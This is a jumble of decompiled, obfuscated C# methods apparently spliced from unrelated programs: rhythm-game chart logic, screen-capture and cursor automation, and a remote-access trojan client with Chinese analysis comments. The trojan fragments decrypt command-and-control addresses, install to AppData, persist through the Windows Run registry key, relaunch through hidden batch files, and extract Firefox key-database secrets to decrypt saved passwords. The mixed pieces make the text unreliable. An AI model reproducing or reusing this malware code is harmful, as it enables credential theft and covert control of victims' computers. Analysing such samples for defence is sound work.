// Token: 0x06002895 RID: 10389 RVA: 0x0012F7A8 File Offset: 0x0012D9A8 public static T[] smethod_8 <T>(uint uint_1, T[] gparam_0) where T : GClass16 { int num = GClass16.smethod_7 <T>(uint_1, gparam_0); if (num != -1 && gparam_0[num].uint_0 == uint_1) { int i = num; int j = num; while (i > 0) { if (gparam_0[num].uint_0 != gparam_0[i - 1].uint_0) { break; } i--; } while (j < gparam_0.Length - 1) { if (gparam_0[num].uint_0 != gparam_0[j + 1].uint_0) { break; } j++; } int num2 = j - i + 1; T[] array = new T[num2]; Array.Copy(gparam_0, i, array, 0, num2); return(array); } return(new T[0]); }
// Token: 0x06002893 RID: 10387 RVA: 0x0012F6E8 File Offset: 0x0012D8E8 public static int smethod_6 <T>(T gparam_0, T[] gparam_1) where T : GClass16 { int i = 0; int num = gparam_1.Length - 1; int result = -1; while (i <= num) { int num2 = (i + num) / 2; result = num2; if (GClass16.smethod_0(gparam_1[num2], gparam_0)) { break; } if (GClass16.smethod_2(gparam_1[num2], gparam_0)) { i = num2 + 1; } else { num = num2 - 1; } } return(result); }
public static ValueTuple <int, int> smethod_3() { Point point; GClass16.GetCursorPos(out point); return(new ValueTuple <int, int>(point.X, point.Y)); }
// Token: 0x0600286C RID: 10348 RVA: 0x0012F660 File Offset: 0x0012D860 public bool method_31() { GClass19 gclass = this.gclass19_0; while (GClass16.smethod_1(gclass, null)) { if (this.uint_0 != gclass.uint_0) { break; } if (this.uint_1 != gclass.uint_1) { return(true); } gclass = gclass.gclass19_0; } GClass19 gclass2 = this.gclass19_1; while (GClass16.smethod_1(gclass2, null)) { if (this.uint_0 != gclass2.uint_0) { break; } if (this.uint_1 != gclass2.uint_1) { return(true); } gclass2 = gclass2.gclass19_1; } return(true); }
// Token: 0x06002889 RID: 10377 RVA: 0x00011456 File Offset: 0x0000F656 public static bool smethod_0(GClass16 gclass16_0, GClass16 gclass16_1) { if (gclass16_0 != null && gclass16_1 != null) { return(gclass16_0.vmethod_0(gclass16_1)); } return((gclass16_0 == null && gclass16_1 == null) || (gclass16_0 != null && gclass16_1 != null)); }
// Token: 0x0600007D RID: 125 RVA: 0x00006330 File Offset: 0x00004530 public static bool smethod_2() { if (GClass3.smethod_1() == "Admin") { return(GClass9.smethod_2(RegistryHive.LocalMachine, GClass16.smethod_0(), GClass35.string_7) || GClass9.smethod_2(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", GClass35.string_7)); } return(GClass9.smethod_2(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", GClass35.string_7)); }
// Token: 0x060001EE RID: 494 RVA: 0x0000B1C8 File Offset: 0x000093C8 private static bool smethod_4([TupleElementNames(new string[] { "x", "y" })] ValueTuple <int, int> valueTuple_0) { return(GClass16.SetCursorPos(valueTuple_0.Item1, valueTuple_0.Item2)); }
// Token: 0x060001EC RID: 492 RVA: 0x0000B18C File Offset: 0x0000938C public static void smethod_2([TupleElementNames(new string[] { "x", "y" })] ValueTuple <int, int> valueTuple_0) { GClass16.smethod_4(valueTuple_0); }
// Token: 0x060005BB RID: 1467 private static void smethod_2() { //判断判断互斥体是否多开,有则失去连接,并且返回 if (!GClass2.smethod_0(GClass35.string_6)) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //解密Key GClass18.smethod_0(GClass35.string_2); //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线) Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1)); //解密远程文件下载路径 %AppData%/Subdir/client.exe GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5); //geoip信息获取ip地理位置国家等信息 GClass34.smethod_0(); //判断上线地址是否失败 if (Class10.gclass25_0.IsEmpty) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //删除当前目录下的后缀为:Zone.Identifier GClass4.smethod_2(GClass0.CurrentPath); //判断当前目录是否是下载目录如果不是则进入 if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath)) { //互斥体存在则关闭 GClass2.smethod_1(); //运行下载路径的文件 GClass13.smethod_0(Class10.client_0); return; } //用户状态更新线程 五秒更新一次 GClass3.smethod_2(); //添加程序到用户启动项 if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1()) { GClass0.AddToStartupFailed = true; } //添加并初始化实体类 Class10.smethod_1(); if (GClass35.bool_3) { if (Class10.threadStart_0 == null) { Class10.threadStart_0 = new ThreadStart(Class10.smethod_9); } new Thread(Class10.threadStart_0).Start(); return; } }
// Token: 0x0600285A RID: 10330 RVA: 0x0012F24C File Offset: 0x0012D44C protected override bool vmethod_0(GClass16 gclass16_0) { if (gclass16_0.GetType() == typeof(GClass19)) { GClass19 gclass = gclass16_0 as GClass19; return(this.uint_0 == gclass.uint_0 && this.genum13_0 == gclass.genum13_0); } return(base.vmethod_0(gclass16_0)); }
// Token: 0x06002867 RID: 10343 RVA: 0x0012F584 File Offset: 0x0012D784 protected virtual bool vmethod_8(GClass16 gclass16_0) { if (gclass16_0.GetType() == typeof(GClass19)) { GClass19 gclass = gclass16_0 as GClass19; return(this.uint_0 != gclass.uint_0 || this.genum13_0 != gclass.genum13_0); } return(base.vmethod_0(gclass16_0)); }
// Token: 0x060027B9 RID: 10169 RVA: 0x0012E7E4 File Offset: 0x0012C9E4 protected virtual bool vmethod_10(GClass16 gclass16_0) { if (gclass16_0.GetType() == typeof(ChartEvent)) { ChartEvent gclass = gclass16_0 as ChartEvent; return(this.uint_0 == gclass.uint_0 && this.string_0 == gclass.string_0); } return(base.vmethod_0(gclass16_0)); }
// Token: 0x0600289B RID: 10395 RVA: 0x0012F950 File Offset: 0x0012DB50 private static T smethod_14 <T>(Type type_0, int int_1, List <T> list_0) where T : GClass16 { int num = GClass16.smethod_13 <T>(type_0, int_1, list_0); if (num == -1) { return(default(T)); } return(list_0[num]); }
// Token: 0x06002897 RID: 10391 RVA: 0x0012F8A4 File Offset: 0x0012DAA4 public static int smethod_10 <T>(uint uint_1, T[] gparam_0) where T : GClass16 { int num = GClass16.smethod_7 <T>(uint_1, gparam_0); if (num != -1 && gparam_0[num].uint_0 != uint_1) { num = -1; } return(num); }
// Token: 0x06002896 RID: 10390 RVA: 0x0012F86C File Offset: 0x0012DA6C public static int smethod_9 <T>(T gparam_0, T[] gparam_1) where T : GClass16 { int num = GClass16.smethod_6 <T>(gparam_0, gparam_1); if (num != -1 && GClass16.smethod_1(gparam_1[num], gparam_0)) { num = -1; } return(num); }
// Token: 0x0600289E RID: 10398 RVA: 0x0012FD04 File Offset: 0x0012DF04 public static T[] smethod_17 <T>(T[] gparam_0, uint uint_1, uint uint_2) where T : GClass16 { int sourceIndex; int num; GClass16.smethod_18 <T>(gparam_0, uint_1, uint_2, out sourceIndex, out num); T[] array = new T[num]; Array.Copy(gparam_0, sourceIndex, array, 0, array.Length); return(array); }
// Token: 0x06002835 RID: 10293 RVA: 0x0012E894 File Offset: 0x0012CA94 public bool method_0() { if (GClass16.smethod_1(this.gclass19_0, null)) { if (this.gclass19_0.uint_0 == this.uint_0) { return(true); } } return(GClass16.smethod_1(this.gclass19_1, null) && this.gclass19_1.uint_0 == this.uint_0); }
// Token: 0x06002842 RID: 10306 RVA: 0x0012EB34 File Offset: 0x0012CD34 public bool method_7() { GClass19 gclass = this.gclass19_0; while (GClass16.smethod_1(gclass, null)) { if (gclass.uint_0 != this.uint_0) { break; } gclass = gclass.gclass19_0; } return(GClass16.smethod_0(gclass, null) || !GClass16.smethod_1(gclass, null) || this.method_25() == gclass.Int32_0); }
private void method_3() { GClass16.smethod_1(); Thread.Sleep(10); if (this.bool_2) { this.keyboardSimulator_0.KeyPress(122); this.bool_2 = false; } if (this.bool_3) { this.keyboardSimulator_0.KeyUp(67); this.bool_3 = false; } }
// Token: 0x0600289F RID: 10399 RVA: 0x0012FD34 File Offset: 0x0012DF34 public static void smethod_18 <T>(T[] gparam_0, uint uint_1, uint uint_2, out int int_1, out int int_2) where T : GClass16 { int_1 = 0; int_2 = 0; if (uint_1 <= uint_2 && gparam_0.Length >= 1) { int num = GClass16.smethod_7 <T>(uint_1, gparam_0); int num2 = GClass16.smethod_7 <T>(uint_2, gparam_0); if (num != -1) { if (num2 != -1) { while (num < gparam_0.Length && gparam_0[num].uint_0 < uint_1) { num++; } if (num > gparam_0.Length - 1) { return; } while (num - 1 >= 0 && gparam_0[num - 1].uint_0 >= uint_1) { num--; } while (num2 >= 0 && gparam_0[num2].uint_0 > uint_2) { num2--; } if (num2 < 0) { return; } while (num2 + 1 < gparam_0.Length && gparam_0[num2 + 1].uint_0 <= uint_2) { num2++; } if (num > num2) { return; } int_1 = num; int_2 = num2 - num + 1; return; } } return; } }
// Token: 0x06000157 RID: 343 RVA: 0x0000BFC4 File Offset: 0x0000A1C4 private static byte[] smethod_9(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (File.Exists(string_3)) { GClass8 gclass = new GClass8(string_3); gclass.method_3("metaData"); string s = gclass.method_2(0, "item1"); string s2 = gclass.method_2(0, "item2)"); GClass12 gclass2 = GClass10.smethod_0(Encoding.Default.GetBytes(s2)); byte[] byte_ = gclass2.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0; byte[] byte_2 = gclass2.List_0[0].List_0[1].Byte_0; GClass16 gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_); gclass3.method_0(); GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.None); gclass.method_3("nssPrivate"); int int32_ = gclass.Int32_0; string s3 = string.Empty; for (int i = 0; i < int32_; i++) { if (gclass.method_2(i, "a102") == Encoding.Default.GetString(Class13.byte_0)) { s3 = gclass.method_2(i, "a11"); IL_176: GClass12 gclass4 = GClass10.smethod_0(Encoding.Default.GetBytes(s3)); byte_ = gclass4.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0; byte_2 = gclass4.List_0[0].List_0[1].Byte_0; gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_); gclass3.method_0(); array = Encoding.Default.GetBytes(GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.PKCS7)); return(array); } } goto IL_176; } result = array; } catch (Exception) { result = array; } return(result); }
// Token: 0x06002861 RID: 10337 RVA: 0x0012F2D8 File Offset: 0x0012D4D8 public bool method_26() { bool result = false; if (!this.method_1() && GClass16.smethod_1(this.gclass19_0, null)) { if (GlobalVariables.instance.currentSongEntry.isMIDIChart && this.gclass19_0.method_1() && (this.Int32_0 & this.gclass19_0.Int32_0) == this.method_25()) { return(false); } if (this.gclass19_0.method_2() || (!this.gclass19_0.method_1() && this.genum13_0 != this.gclass19_0.genum13_0)) { if (GlobalVariables.instance.currentSongEntry.isMIDIChart) { if (SongEntry.currentSongCustomHOPO > 0) { if ((ulong)(this.uint_0 - this.gclass19_0.uint_0) <= (ulong)((long)SongEntry.currentSongCustomHOPO)) { result = false; } } else if (SongEntry.isCurrentSongEighthHOPO) { if (this.uint_0 - this.gclass19_0.uint_0 <= Math.Ceiling((double)(this.gclass27_0.float_4 / 1614f)) + 616.0) { result = true; } } else if (this.uint_0 - this.gclass19_0.uint_0 <= Math.Ceiling((double)(this.gclass27_0.float_4 / 1145f)) + 42.0) { result = false; } } else { int num = (int)(76f * this.gclass27_0.float_4 / GClass15.float_0); if ((ulong)(this.uint_0 - this.gclass19_0.uint_0) <= (ulong)((long)num)) { result = true; } } } } return(result); }
// Token: 0x0600007C RID: 124 RVA: 0x000057A8 File Offset: 0x000039A8 public static void smethod_3() { while (GClass1.bool_0) { int num = Math.Max(Math.Min((int)((double)GClass1.int_0 * GClass1.double_0 * 1.25), (int)((double)GClass1.size_0.Width * 0.9)), (int)((double)GClass1.size_0.Width * 0.6)); int num2 = Math.Min((int)((double)num / 1.22), (int)((double)GClass1.size_0.Height * 0.9)); int num3 = Math.Max((int)((double)GClass1.size_0.Width / 2.2) - num / 2, 0); int num4 = Math.Max((int)((double)GClass1.size_0.Height / 2.15) - num2 / 2, 0); Bitmap bitmap = new Bitmap(num, num2, PixelFormat.Format32bppArgb); Graphics graphics = Graphics.FromImage(bitmap); graphics.CopyFromScreen(num3, num4, 0, 0, new Size(num, num2), CopyPixelOperation.SourceCopy); ValueTuple <int, int> valueTuple = GClass16.smethod_3(); ValueTuple <GClass0, int, int> valueTuple2 = Class12.smethod_10(bitmap, valueTuple.Item1, valueTuple.Item2, num3, num4); graphics.Dispose(); bitmap.Dispose(); GClass1.ValueTuple_0 = valueTuple2; } }
// Token: 0x06002845 RID: 10309 RVA: 0x0012ED6C File Offset: 0x0012CF6C public GClass19 method_9() { if (this.method_31()) { return(this.gclass19_1); } GClass19 gclass = this.gclass19_1; while (GClass16.smethod_1(gclass, null)) { if (gclass.uint_0 != this.uint_0) { break; } gclass = gclass.gclass19_1; } return(gclass); }
// Token: 0x0600283B RID: 10299 RVA: 0x0012E9A0 File Offset: 0x0012CBA0 private GClass19[] method_3(bool bool_0) { List <GClass19> list = new List <GClass19>(); list.Add(this); GClass19 gclass = this.gclass19_0; while (GClass16.smethod_1(gclass, null)) { if (this.uint_0 != gclass.uint_0) { break; } if (!bool_0 && this.uint_1 != gclass.uint_1) { return(new GClass19[] { this }); } list.Add(gclass); gclass = gclass.gclass19_0; } GClass19 gclass2 = this.gclass19_1; while (GClass16.smethod_1(gclass2, null)) { if (this.uint_0 != gclass2.uint_0) { break; } if (!bool_0 && this.uint_1 != gclass2.uint_1) { return(new GClass19[] { this }); } list.Add(gclass2); gclass2 = gclass2.gclass19_1; } return(list.ToArray()); }
// Token: 0x06000158 RID: 344 RVA: 0x0000C23C File Offset: 0x0000A43C private static byte[] smethod_10(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(string_3)) { result = array; } else { new DataTable(); GClass17 gclass17_ = new GClass17(string_3); GClass15 gclass = new GClass15(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_0))); string string_4 = Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_1)); GClass16 gclass2 = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), Class13.smethod_11(gclass.String_0)); gclass2.method_0(); GClass14.smethod_0(gclass2.Byte_3, gclass2.Byte_4, Class13.smethod_11(gclass.String_2), PaddingMode.None); GClass12 gclass3 = GClass10.smethod_0(Class13.smethod_11(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_2)))); GClass16 gclass4 = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), gclass3.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0); gclass4.method_0(); GClass12 gclass5 = GClass10.smethod_0(GClass10.smethod_0(Encoding.Default.GetBytes(GClass14.smethod_0(gclass4.Byte_3, gclass4.Byte_4, gclass3.List_0[0].List_0[1].Byte_0, PaddingMode.None))).List_0[0].List_0[2].Byte_0); if (gclass5.List_0[0].List_0[3].Byte_0.Length <= 24) { array = gclass5.List_0[0].List_0[3].Byte_0; result = array; } else { Array.Copy(gclass5.List_0[0].List_0[3].Byte_0, gclass5.List_0[0].List_0[3].Byte_0.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }
// Token: 0x06000078 RID: 120 RVA: 0x000060E0 File Offset: 0x000042E0 public static void smethod_0(Client client) { if (!GClass35.bool_0) { new SetStatus("Uninstallation failed: Installation is not enabled").Execute(client); return; } GClass14.smethod_1(); if (GClass35.bool_1) { GClass16.smethod_2(); } try { if (!GClass4.smethod_5(GClass0.CurrentPath)) { new SetStatus("Uninstallation failed: File is read-only").Execute(client); } string text = GClass4.smethod_3(GClass35.bool_0 && GClass35.bool_2); if (!string.IsNullOrEmpty(text)) { ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = true, FileName = text }; Process.Start(startInfo); } } finally { GClass0.Disconnect = true; client.Disconnect(); } }
// Token: 0x0600007A RID: 122 RVA: 0x000061D8 File Offset: 0x000043D8 public static void smethod_0(Client c, string newFilePath) { try { GClass4.smethod_2(newFilePath); byte[] array = File.ReadAllBytes(newFilePath); if (array[0] != 77 && array[1] != 90) { throw new Exception("no pe file"); } string text = GClass4.smethod_4(newFilePath, GClass35.bool_0 && GClass35.bool_2); if (string.IsNullOrEmpty(text)) { throw new Exception("Could not create update batch file."); } ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = true, FileName = text }; Process.Start(startInfo); GClass0.Disconnect = true; if (GClass35.bool_0 && GClass35.bool_1) { GClass16.smethod_2(); } c.Disconnect(); } catch (Exception ex) { GClass26.DeleteFile(newFilePath); new SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c); } }
// Token: 0x060003BE RID: 958 RVA: 0x00016FF8 File Offset: 0x000151F8 protected virtual void ApplySortCore(PropertyDescriptor prop, ListSortDirection direction) { List <T> list = base.Items as List <T>; try { if (list != null) { this.listSortDirection_0 = direction; this.propertyDescriptor_0 = prop; GClass16 <T> comparer = new GClass16 <T>(prop, direction); list.Sort(comparer); this.bool_0 = true; } else { this.bool_0 = false; } this.OnListChanged(new ListChangedEventArgs(ListChangedType.Reset, -1)); } catch (Exception ex) { } }
// Token: 0x0600289D RID: 10397 RVA: 0x0012FC60 File Offset: 0x0012DE60 public static bool smethod_16 <T>(T gparam_0, List <T> list_0, bool bool_0 = true) where T : GClass16 { int num = GClass16.smethod_9 <T>(gparam_0, list_0.ToArray()); if (num != -1) { if (bool_0 && gparam_0.GetType() == typeof(GClass19)) { GClass19 gclass = GClass16.smethod_12 <T>(gparam_0.GetType(), num, list_0) as GClass19; GClass19 gclass2 = GClass16.smethod_14 <T>(gparam_0.GetType(), num, list_0) as GClass19; if (GClass16.smethod_1(gclass, null)) { gclass.gclass19_1 = gclass2; } if (GClass16.smethod_1(gclass2, null)) { gclass2.gclass19_0 = gclass; } } list_0.RemoveAt(num); return(true); } return(false); }